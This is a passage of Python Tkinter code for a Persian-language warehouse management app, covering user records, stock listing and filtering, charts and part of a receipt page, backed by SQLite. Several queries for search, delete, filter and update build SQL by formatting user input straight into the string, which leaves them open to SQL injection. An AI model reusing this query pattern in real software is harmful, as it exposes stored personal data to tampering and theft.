self.b_request_user=Button(self.navFrm_user,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_request)\n self.b_order_user=Button(self.navFrm_user,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_order)\n self.b_exitKala_user=Button(self.navFrm_user,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_exit)\n self.b_history_user=Button(self.navFrm_user,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_history)\n self.b_issuance_user=Button(self.navFrm_user,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.user_to_bill)\n self.b_exit_user=Button(self.navFrm_user,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n\n self.dateFrm_user.place(x=0,y=0)\n self.date_label_user.place(x=15,y=4)\n self.time_label_user.place(x=190,y=4)\n self.b_openNav_user.place(x=1340,y=20)\n self.navFrm_user.place(x=1400,y=0)\n self.closeFrm_user.place(x=0,y=0)\n self.b_closeNav_user.place(x=15,y=15)\n self.b_mainPage_user.place(x=0,y=50)\n self.b_addKala_user.place(x=0,y=115)\n self.b_addUser_user.place(x=0,y=180)\n self.b_WrStock_user.place(x=0,y=245)\n self.b_Receipt_user.place(x=0,y=310)\n self.b_request_user.place(x=0,y=375)\n self.b_order_user.place(x=0,y=440)\n self.b_exitKala_user.place(x=0,y=505)\n self.b_history_user.place(x=0,y=570)\n self.b_issuance_user.place(x=0,y=635)\n self.b_exit_user.place(x=0,y=700)\n self.l_headerUser.place(x=595,y=0)\n self.l_nameUser.place(x=1315,y=100)\n self.e_nameUser.place(x=1015,y=100)\n self.l_lastUser.place(x=1245,y=175)\n self.e_lastUser.place(x=1015,y=175)\n self.l_nationalCode.place(x=480,y=175)\n self.e_nationalCode.place(x=245,y=175)\n self.l_gender.place(x=885,y=100)\n self.c_gender.place(x=630,y=100)\n self.l_phoneNum.place(x=855,y=175)\n self.e_phoneNum.place(x=630,y=175)\n self.l_accountType.place(x=1255,y=255)\n self.c_accountType.place(x=1015,y=255)\n self.l_personnelId.place(x=470,y=100)\n self.e_personnelId.place(x=245,y=100)\n self.l_imgSelector.place(x=55,y=260)\n self.imgSelectorBg.place(x=45,y=100)\n self.b_addPesonnel.place(x=1160,y=330)\n self.listUser.place(x=75,y=420)\n self.b_searchUser.place(x=75,y=370)\n self.e_searchUser.place(x=240,y=375)\n\n #_____ bind _____\n self.e_searchUser.insert(0,'جستجوی کد کاربر')\n self.e_searchUser.bind('', lambda event : self.e_searchUser.delete(0,END))\n self.e_nameUser.focus()\n self.e_nameUser.bind('',lambda event : self.e_lastUser.focus())\n self.e_lastUser.bind('',lambda event : self.e_phoneNum.focus())\n self.e_phoneNum.bind('',lambda event : self.e_personnelId.focus())\n self.e_personnelId.bind('',lambda event : self.e_nationalCode.focus())\n self.b_addPesonnel.bind('',self.funcAddUser)\n self.imgSelectorBg.bind('', self.funcAddImg)\n self.listUser.bind('', self.select_record_user)\n self.b_delete_user.bind('', self.delete_record_user)\n self.b_edit_user.bind('', self.edit_record_values_user)\n self.b_sabtTaghirat_user.bind('', self.edit_user)\n \n def update_time_user(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_user.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_user.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_user.after(1000, self.update_time_user)\n\n def switch_user_nav(self):\n if self.btnState is True:\n self.navFrm_user.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_user.place(x=1180, y=0)\n self.btnState = True\n \n def user_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page .state('normal')\n user_page.state('withdraw')\n self.btnState = True\n\n def user_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n user_page.state('withdraw')\n self.btnState = True \n \n def user_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n user_page.state('withdraw')\n self.btnState = True\n\n def user_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n user_page.state('withdraw')\n self.btnState = True\n\n def user_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n user_page.state('withdraw')\n self.btnState = True\n \n def user_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n user_page.state('withdraw')\n self.btnState = False\n\n def user_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n user_page.state('withdraw')\n self.btnState = True\n\n def user_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n user_page.state('withdraw')\n self.btnState = True\n\n def user_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n user_page.state('withdraw')\n self.btnState = True\n\n def funcAddImg(self,event=None):\n self.img_name = filedialog.askopenfilename()\n self.procuct_img = Image.open(self.img_name)\n self.procuct_image = self.procuct_img.resize((150, 150))\n self.product_photo = ImageTk.PhotoImage(self.procuct_image)\n self.imgSelectorBg['image']=self.product_photo\n\n def covert_to_binary_data(self,filename):\n with open (filename , 'rb') as f:\n blobdata = f.read()\n return blobdata\n \n def data_to_list_user(self):\n self.count=0\n self.lst=[]\n for item in self.listUser.get_children():\n self.listUser.delete(item)\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='user'\")\n self.result = self.cur.fetchone()\n if self.result != None:\n row=self.cur.execute('SELECT * FROM user')\n for i in row :\n self.lst.append(i)\n for i in self.lst:\n fullname_user=i[1]+' '+i[2]\n self.listUser.insert(parent='',index='end',iid=self.count,text='',\n values=(i[6],i[5],i[3],i[4],fullname_user,i[0],str(self.count+1)))\n self.count += 1\n\n def funcAddUser(self , event=None):\n self.phoneNum=self.e_phoneNum.get()\n self.pesonnelName=self.e_nameUser.get()\n self.pesonnelLast=self.e_lastUser.get()\n self.nationalCode=self.e_nationalCode.get()\n self.gender=self.c_gender.get()\n self.accountType=self.c_accountType.get()\n self.personnelId=self.e_personnelId.get()\n self.photo = self.covert_to_binary_data(self.img_name)\n if self.phoneNum != 'Error!':\n self.e_nameUser.delete(0,END)\n self.e_lastUser.delete(0,END)\n self.e_nationalCode.delete(0,END)\n self.c_gender.set(\"یک گزینه را انتخاب کنید\")\n self.e_phoneNum.delete(0,END)\n self.c_accountType.set(\"یک گزینه را انتخاب کنید\")\n self.e_personnelId.delete(0,END)\n self.imgSelectorBg['image']=self.UserImg\n self.e_nameUser.focus()\n\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.data=(self.personnelId,self.pesonnelName,self.pesonnelLast,self.nationalCode,self.gender,self.phoneNum,self.accountType,self.photo)\n self.cur.execute('''CREATE TABLE IF NOT EXISTS user (id TEXT PRIMARY KEY NOT NULL ,name TEXT NOT NULL ,last_name TEXT NOT NULL,national_code TEXT NOT NULL\n ,gender INTEGER NOT NULL,phone_number TEXT NOT NULL,account_type TEXT NOT NULL,photo BLOB NOT NULL)''')\n self.cur.execute('INSERT INTO user(id,name,last_name,national_code,gender,phone_number,account_type,photo) VALUES(?,?,?,?,?,?,?,?)',self.data)\n self.con.commit()\n fullname_user=self.pesonnelName+' '+self.pesonnelLast\n self.numlist=len(self.listUser.get_children())\n self.listUser.insert(parent='',index='end',text='',values=(self.accountType,self.phoneNum,self.nationalCode,\n self.gender,fullname_user,self.personnelId,self.numlist+1))\n elif self.phoneNum == 'Error!':\n messagebox.showerror('ERROR', '! شماره تلفن را درست وارد کنید ')\n\n def search_id_user(self,event=None):\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.idUser=self.e_searchUser.get()\n self.count=0\n if self.idUser !='':\n for i in self.listUser.get_children():\n self.listUser.delete(i)\n self.row=self.cur.execute('SELECT * FROM user WHERE id=\"{}\"'.format(self.idUser))\n self.search_list=list(self.row)\n fullname_user=self.search_list[0][1]+' '+self.search_list[0][2]\n self.listUser.insert(parent='',index='end',iid=self.count,text='',\n values=(self.search_list[0][6],self.search_list[0][5],self.search_list[0][3],\n self.search_list[0][4],fullname_user,self.search_list[0][0],str(self.count+1)))\n else:\n self.lst=[]\n self.listUser.delete('0')\n self.data_to_list_user()\n \n def select_record_user(self,event=None):\n self.selected = self.listUser.focus()\n self.values = self.listUser.item(self.selected , \"values\")\n self.row_id =self.listUser.identify_row(event.y)\n start = self.listUser.bbox(self.row_id, column=None)\n self.y1=start[1]+400\n self.y2=start[1]+440\n self.b_delete_user.place(x=30,y=self.y1)\n self.b_edit_user.place(x=30,y=self.y2)\n\n def delete_record_user(self,event=None):\n self.peremision_delete_recordUser = messagebox.askquestion(\"Confirm\",\"آیا از حذف کاربر مطمِن هستید؟\")\n if self.peremision_delete_recordUser == 'yes':\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.code=self.values[5]\n self.cur.execute(\"DELETE FROM user WHERE id='{}'\" .format(self.code))\n self.con.commit()\n for item in self.listUser.get_children():\n self.listUser.delete(item)\n self.lst=[]\n self.data_to_list_user()\n self.b_delete_user.place(x=-50,y=-50)\n self.b_edit_user.place(x=-50,y=-50)\n\n def sql_search_user(self,id1):\n con = sql.connect('mydb.db')\n cur = con.cursor()\n self.cur.execute(\"SELECT COUNT(*) FROM user\")\n self.rowNum = self.cur.fetchone()[0]\n row = cur.execute('SELECT * FROM user WHERE id=\"{}\"'.format(id1))\n return list(row)\n \n def edit_record_values_user(self ,event=None):\n self.e_nameUser.delete(0,END)\n self.e_lastUser.delete(0,END)\n self.e_nationalCode.delete(0,END)\n self.e_phoneNum.delete(0,END)\n self.e_personnelId.delete(0,END)\n self.values = self.listUser.item(self.selected , \"values\")\n self.row_num=self.values[6]\n self.valuelst = self.sql_search_user(self.values[5])\n self.e_personnelId.insert(0,self.valuelst[0][0])\n self.e_nameUser.insert(0,self.valuelst[0][1])\n self.e_lastUser.insert(0,self.valuelst[0][2])\n self.e_nationalCode.insert(0,self.valuelst[0][3])\n self.c_gender.set(self.valuelst[0][4])\n self.e_phoneNum.insert(0,self.valuelst[0][5])\n self.c_accountType.set(self.valuelst[0][6])\n self.b_sabtTaghirat_user.place(x=950,y=330)\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT photo FROM user WHERE id = '{}'\".format(self.valuelst[0][0]))\n image_data = self.cur.fetchone()[0]\n user_img = Image.open(io.BytesIO(image_data))\n user_image = user_img.resize((150, 150))\n self.user_photo = ImageTk.PhotoImage(user_image)\n self.imgSelectorBg['image']=self.user_photo\n\n def edit_user(self,event = None):\n self.peremision_edit_recordUser = messagebox.askquestion(\"Confirm\",\"آیا از تغییر اطلاعات کاربر مطمِن هستید؟\")\n if self.peremision_edit_recordUser == 'yes':\n self.con = sql.connect('mydb.db')\n self.cur = self.con.cursor()\n self.pesonnelName=self.e_nameUser.get()\n self.pesonnelLast=self.e_lastUser.get()\n self.nationalCode=self.e_nationalCode.get()\n self.gender=self.c_gender.get()\n self.phoneNum=self.e_phoneNum.get()\n self.accountType=self.c_accountType.get()\n self.personnelId=self.e_personnelId.get()\n fullname_user=self.pesonnelName+' '+self.pesonnelLast\n self.listUser.item(self.selected ,values = (self.accountType,self.phoneNum,self.nationalCode,self.gender,fullname_user,self.personnelId,self.row_num))\n self.cur.execute(''' UPDATE user SET id = \"{}\" , name = \"{}\", last_name = \"{}\",national_code = \"{}\",\n gender = \"{}\",phone_number = \"{}\",account_type =\"{}\" WHERE id=\"{}\" '''.format(self.personnelId,\n self.pesonnelName,self.pesonnelLast,self.nationalCode,self.gender,\n self.phoneNum,self.accountType,self.values[5]))\n self.con.commit()\n self.b_sabtTaghirat_user.place(x=-100,y=-100)\n self.b_delete_user.place(x=-50,y=-50)\n self.b_edit_user.place(x=-50,y=-50)\n self.e_nameUser.delete(0,END)\n self.e_lastUser.delete(0,END)\n self.e_nationalCode.delete(0,END)\n self.e_phoneNum.delete(0,END)\n self.e_personnelId.delete(0,END)\n self.c_accountType.set('یک گزینه را انتخاب کنید')\n self.c_gender.set('یک گزینه را انتخاب کنید')\n self.imgSelectorBg['image']=self.UserImg\n\n\n #____________________________________________________________________________________________________________________\n #________________________________________________ warehouse Stock page ______________________________________________\n def warehouse_stock_page(self):\n\n self.h_stockImg = PhotoImage(file='image/headerStock.png')\n self.searchBtnImg_stock = PhotoImage(file='image/searchBtnImg.png')\n self.filterBtnImg = PhotoImage(file='image/filterBtnImg.png')\n self.deleteBtnImg_stock = PhotoImage(file='image/deleteBtnImg.png')\n self.chartBtnImg = PhotoImage(file='image/chartBtnImg.png')\n\n stock_page.title('نرم افزار انبارداری')\n stock_page.resizable(False,False)\n stock_page.iconbitmap('image/warehouseIco.ico')\n stock_page.geometry ('1400x800+250+100')\n stock_page.configure (bg='#F6F5F5')\n\n self.dateFrm_stock=Label(stock_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_stock = Label(self.dateFrm_stock)\n self.date_label_stock = Label(self.dateFrm_stock)\n self.l_headerStock=Label(stock_page,image=self.h_stockImg)\n self.b_filterStock=Button(stock_page,image=self.filterBtnImg,bd=0,activebackground='white',command=self.filter_stock)\n self.c_filterStock = ttk.Combobox(stock_page,width = 20 , font = ('B Koodak' , 12),state='readonly',\n justify = 'right',values=[\"همه ی کالا ها\",\"لوازم الکترونیکی\",\"لوازم آشپزخانه\", \"مواد غذایی\"])\n self.c_filterStock.set(\"یک گزینه را انتخاب کنید\")\n self.l_filterStock=Label(stock_page,text=' : گروه کالا',font=('Lalezar',17))\n self.e_searchStock = Entry(stock_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.b_searchStock= Button(stock_page,image=self.searchBtnImg_stock,activebackground='#F6F5F5',bd=0,cursor='hand2',command=self.search_id_stock)\n self.b_chart_stock=Button(stock_page,image=self.chartBtnImg,bd=0,activebackground='#F6F5F5',cursor='hand2',command=self.chartKala)\n\n #list\n self.listStock= ttk.Treeview(stock_page,show='headings',height=15)\n\n self.listStock['columns']=('purchase','number','category','type','name','id','row')\n #columns\n self.listStock.column('purchase',width=140,anchor=E)\n self.listStock.column('number',width=140,anchor=E)\n self.listStock.column('category',width=180,anchor=E)\n self.listStock.column('type',width=270,anchor=E)\n self.listStock.column('name',width=230,anchor=E)\n self.listStock.column('id',width=130,anchor=E)\n self.listStock.column('row',width=130,anchor=E)\n #heading\n self.listStock.heading('purchase',text=' : نقطه خرید',anchor=E)\n self.listStock.heading('number',text=' : تعداد',anchor=E)\n self.listStock.heading('category',text=' : گروه کالا',anchor=E)\n self.listStock.heading('type',text=' : نوع کالا',anchor=E)\n self.listStock.heading('name',text=' : نام کالا',anchor=E)\n self.listStock.heading('id',text=' : کد کالا',anchor=E)\n self.listStock.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 18),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n #___bind___\n self.listStock.bind('', self.select_record_stock)\n self.e_searchStock.insert(0,'جستجوی کد کالا')\n self.e_searchStock.bind('', lambda event : self.e_searchStock.delete(0,END))\n \n self.b_openNav_stock=Button(stock_page,image=self.openBtnImg,bg='white',activebackground='white',bd=0,command=self.switch_stock_nav,cursor='hand2')\n self.navFrm_stock=Frame(stock_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_stock=LabelFrame(self.navFrm_stock,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_stock=Button(self.closeFrm_stock,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_stock_nav)\n self.b_mainPage_stock=Button(self.navFrm_stock,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_main)\n self.b_addKala_stock=Button(self.navFrm_stock,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_kala)\n self.b_addUser_stock=Button(self.navFrm_stock,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_user)\n self.b_WrStock_stock=Button(self.navFrm_stock,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_Receipt_stock=Button(self.navFrm_stock,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_receipt)\n self.b_request_stock=Button(self.navFrm_stock,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_request)\n self.b_order_stock=Button(self.navFrm_stock,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_order)\n self.b_exitKala_stock=Button(self.navFrm_stock,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_exit)\n self.b_history_stock=Button(self.navFrm_stock,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_history)\n self.b_issuance_stock=Button(self.navFrm_stock,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.stock_to_bill)\n self.b_exit_stock=Button(self.navFrm_stock,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n \n self.dateFrm_stock.place(x=0,y=0)\n self.date_label_stock.place(x=15,y=4)\n self.time_label_stock.place(x=190,y=4)\n self.b_openNav_stock.place(x=1340,y=20)\n self.navFrm_stock.place(x=1400,y=0)\n self.closeFrm_stock.place(x=0,y=0)\n self.b_closeNav_stock.place(x=15,y=15)\n self.b_mainPage_stock.place(x=0,y=50)\n self.b_addKala_stock.place(x=0,y=115)\n self.b_addUser_stock.place(x=0,y=180)\n self.b_WrStock_stock.place(x=0,y=245)\n self.b_Receipt_stock.place(x=0,y=310)\n self.b_request_stock.place(x=0,y=375)\n self.b_order_stock.place(x=0,y=440)\n self.b_exitKala_stock.place(x=0,y=505)\n self.b_history_stock.place(x=0,y=570)\n self.b_issuance_stock.place(x=0,y=635)\n self.b_exit_stock.place(x=0,y=700)\n self.l_headerStock.place(x=580,y=0)\n self.b_filterStock.place(x=860,y=130)\n self.c_filterStock.place(x=1020,y=135)\n self.l_filterStock.place(x=1230,y=135)\n self.e_searchStock.place(x=245,y=135)\n self.b_searchStock.place(x=85,y=130)\n self.listStock.place(x=85,y=185)\n \n def update_time_stock(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_stock.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_stock.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_stock.after(1000, self.update_time_stock) \n\n def switch_stock_nav(self):\n if self.btnState is True:\n self.navFrm_stock.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_stock.place(x=1180, y=0)\n self.btnState = True\n \n def stock_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page .state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n def stock_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n \n def stock_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n \n def stock_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n def stock_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n def stock_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n def stock_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n def stock_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n def stock_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n stock_page.state('withdraw')\n self.btnState = True\n\n\n def data_to_list_stock(self):\n self.count=0\n self.lst=[]\n for item in self.listStock.get_children():\n self.listStock.delete(item)\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='kala'\")\n \n self.result = self.cur.fetchone()\n if self.result != None:\n \n row=self.cur.execute('SELECT * FROM kala')\n for i in row :\n self.lst.append(i)\n \n for i in self.lst:\n self.listStock.insert(parent='',index='end',text='',\n values=(i[4],i[7],i[3],i[2],i[1],i[0],str(self.count+1)))\n self.count += 1\n\n def chartkala_page(self,event=None):\n chart_page.geometry('550x600+700+200')\n chart_page.protocol(\"WM_DELETE_WINDOW\", lambda : chart_page.state('withdraw'))\n\n def chartKala(self,event=None):\n chart_page.state('normal')\n self.ChartX=[]\n self.ChartY=[]\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n row = self.cur.execute('SELECT * FROM orders WHERE IdKala=\"{}\"'.format(self.rowlistStock))\n row=list(row)\n for i in row:\n if i[6] == 'وارد انبار شد' or i[6] == 'تحویل داده شد':\n self.ChartX.append(i[7])\n self.ChartY.append(i[4])\n self.plotFrm = LabelFrame(chart_page,text='Plot',padx=5,pady=10)\n self.plotFrm.place(x=20,y=20)\n fig = plt.figure(figsize=(5,5))\n self.ChartY.sort(reverse=True)\n plt.plot(self.ChartX,self.ChartY,\n linewidth=2,\n linestyle='--',\n marker='o',\n markersize=5,\n markerfacecolor='blue')\n plt.grid(which='both')\n self.bar = FigureCanvasTkAgg(fig,self.plotFrm)\n self.bar.get_tk_widget().pack(side=LEFT,fill=BOTH)\n\n def select_record_stock(self,event=None):\n self.selected = self.listStock.focus()\n self.values = self.listStock.item(self.selected , \"values\")\n self.rowlistStock=self.values[5]\n self.row_id = self.listStock.identify_row(event.y)\n start = self.listStock.bbox(self.row_id, column=None)\n self.y1 = start[1]+185\n self.b_chart_stock.place(x=40,y=self.y1)\n\n def filter_stock(self):\n self.filterLst=self.c_filterStock.get()\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.count=0\n if self.filterLst ==\"همه ی کالا ها\":\n for item in self.listStock.get_children():\n self.listStock.delete(item)\n self.lst=[]\n self.data_to_list_stock()\n elif self.filterLst !='یک گزینه را انتخاب کنید':\n for i in self.listStock.get_children():\n self.listStock.delete(i)\n self.row=self.cur.execute('SELECT * FROM kala WHERE category=\"{}\"'.format(self.filterLst))\n self.filter_list=list(self.row)\n for i in self.filter_list:\n self.listStock.insert(parent='',index='end',text='',\n values=(i[4],i[7],i[3],i[2],i[1],i[0],str(self.count+1)))\n self.count += 1\n \n def search_id_stock(self,event=None):\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.idKala=self.e_searchStock.get()\n self.count=0\n if self.idKala !='':\n for i in self.listStock.get_children():\n self.listStock.delete(i)\n self.row=self.cur.execute('SELECT * FROM kala WHERE id=\"{}\"'.format(self.idKala))\n self.search_list=list(self.row)\n self.listStock.insert(parent='',index='end',iid=self.count,text='',\n values=(self.search_list[0][4],self.search_list[0][7],self.search_list[0][3],\n self.search_list[0][2],self.search_list[0][1],self.search_list[0][0],str(self.count+1)))\n else:\n self.lst=[]\n self.listStock.delete('0')\n self.data_to_list_stock()\n\n#________________________________________________________________________________________________________________________\n#________________________________________________ warehouse receipt page_________________________________________________\n\n def warehouse_receipt_page(self):\n self.headerVorodKalaImg = PhotoImage(file='image/headerReciept.png')\n self.searchBtnImg = PhotoImage(file='image/searchBtnImg.png')\n self.kalaImg = PhotoImage(file='image/imgSelectorBg.png')\n self.addKalaNumImg = PhotoImage(file='image/addKalaNum.png')\n \n receipt_page.title('نرم افزار انبارداری')\n receipt_page.resizable(False,False)\n receipt_page.iconbitmap('image/warehouseIco.ico')\n receipt_page.configure (bg='#F6F5F5')\n receipt_page.geometry ('1400x800+250+100')\n \n self.searchUserFrm = LabelFrame(receipt_page,bg='#DFDFDF',width=1410,height=170,bd=5,relief=SOLID)\n self.h_vorodKala_receipt = Label(self.searchUserFrm,image=self.headerVorodKalaImg)\n self.l_attention_receipt = Label(self.searchUserFrm,text='.توجه : لطفا ابتدا کد ملی متقاضی مورد نظر را وارد کنید',font=('Lalezar',17),bg='#DFDFDF')\n self.e_searchUser_receipt = Entry(self.searchUserFrm,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.b_searchUser_receipt = Button(self.searchUserFrm,bg='#DFDFDF',image=self.searchBtnImg,activebackground='#DFDFDF',bd=0,cursor='hand2',command=self.search_idUser_receipt)\n self.dateFrm_receipt=Label(self.searchUserFrm,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_receipt = Label(self.dateFrm_receipt)\n self.date_label_receipt = Label(self.dateFrm_receipt)\n self.e_searchKala_receipt = Entry(receipt_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid',fg='#717171')\n self.e_searchKala_receipt.insert(0,'جستجوی کد کالا')\n self.b_searchKala_receipt = Button(receipt_page,bg='#DFDFDF',image=self.searchBtnImg,activebackground='#DFDFDF',bd=0,cursor='hand2',command=self.search_idKala)\n self.infoKalaFrm_receipt = LabelFrame(receipt_page,bg='#EAEAEA',width=1280,height=240,bd=5,relief=SOLID)\n self.l_nameUser_receipt = Label(receipt_page,text=' : نام',font=('Lalezar',17),bg='#EAEAEA')\n self.nameUserLbl_receipt = Label(receipt_page,text='{: ^15}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=12,fg='#4F4E4E')\n self.l_nameKala_receipt = Label(receipt_page,text=' : نام کالا',font=('Lalezar',17),bg='#EAEAEA')\n self.nameKalaLbl_receipt = Label(receipt_page,text='{: ^15}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=12,fg='#4F4E4E')\n self.l_kalaType_receipt = Label(receipt_page,text=' : نوع کالا',font=('Lalezar',17),bg='#EAEAEA')\n self.kalaTypeLbl_receipt =Label(receipt_page,text='{: ^15}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=15,fg='#4F4E4E')\n self.l_lastUser_receipt = Label(receipt_page,text=' : نام خانوادگی',font=('Lalezar',17),bg='#EAEAEA')\n self.lastUserLbl_receipt = Label(receipt_page,text='{: ^15}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=15,fg='#4F4E4E')\n self.l_kalaId_receipt = Label(receipt_page,text=' : کد کالا',font=('Lalezar',17),bg='#EAEAEA')\n self.kalaIdLbl_receipt = Label(receipt_page,text='{: ^15}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=15,fg='#4F4E4E')\n self.l_groupKala_receipt = Label(receipt_page,text=' : گروه کالا',font=('Lalezar',17),bg='#EAEAEA')\n self.groupKalaLbl_receipt = Label(receipt_page,text='{: ^15}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=15,fg='#4F4E4E')\n self.l_stock_receipt = Label(receipt_page,text=' : موجودی',font=('Lalezar',17),bg='#EAEAEA')\n self.stockLbl_receipt = Label(receipt_page,text='{: <6}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=6,fg='#4F4E4E')\n self.l_purchase_receipt = Label(receipt_page,text=' : نقطه خرید',font=('Lalezar',17),bg='#EAEAEA')\n self.purchaseLbl_receipt = Label(receipt_page,text='{: <6}'.format(''),font=('Lalezar',17),bg='#EAEAEA',width=6,fg='#4F4E4E')\n self.l_imgSelector_receipt = Label(receipt_page,text='تصویر',font=('Lalezar',17))\n self.imgSelectorBg_receipt = Label(receipt_page,bg='#F3F3F3',image=self.kalaImg,width=150,height=150)\n self.kalaNumFrm_receipt = LabelFrame(receipt_page,bg='#EAEAEA',width=820,height=70,bd=5,relief=SOLID)\n self.kalaNum_receipt = Label(self.kalaNumFrm_receipt,text=' : تعداد کالا',font=('Lalezar',17),bg='#EAEAEA')\n self.e_kalaNum_receipt = Entry(self.kalaNumFrm_receipt,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid',fg='#717171')\n self.l_date_receipt = Label(self.kalaNumFrm_receipt,text=' : تاریخ',font=('Lalezar',17),bg='#EAEAEA')\n self.date_receipt = DateEntry(self.kalaNumFrm_receipt,font=('Lalezar',14))\n self.b_addKalaNum_receipt = Button(self.kalaNumFrm_receipt,bg='#DFDFDF',image=self.addKalaNumImg,activebackground='#DFDFDF',bd=0,cursor='hand2',command=self.funcAddNum)\n #list\n self.listReceipt= ttk.Treeview(receipt_page,show='headings',height=5)\n self.listReceipt['columns']=('date','kalaNum','receiptId','kalaId','kalaName','fullname','row')\n #columns\n self.listReceipt.column('date',width=150,anchor=E)\n self.listReceipt.column('kalaNum',width=150,anchor=E)\n 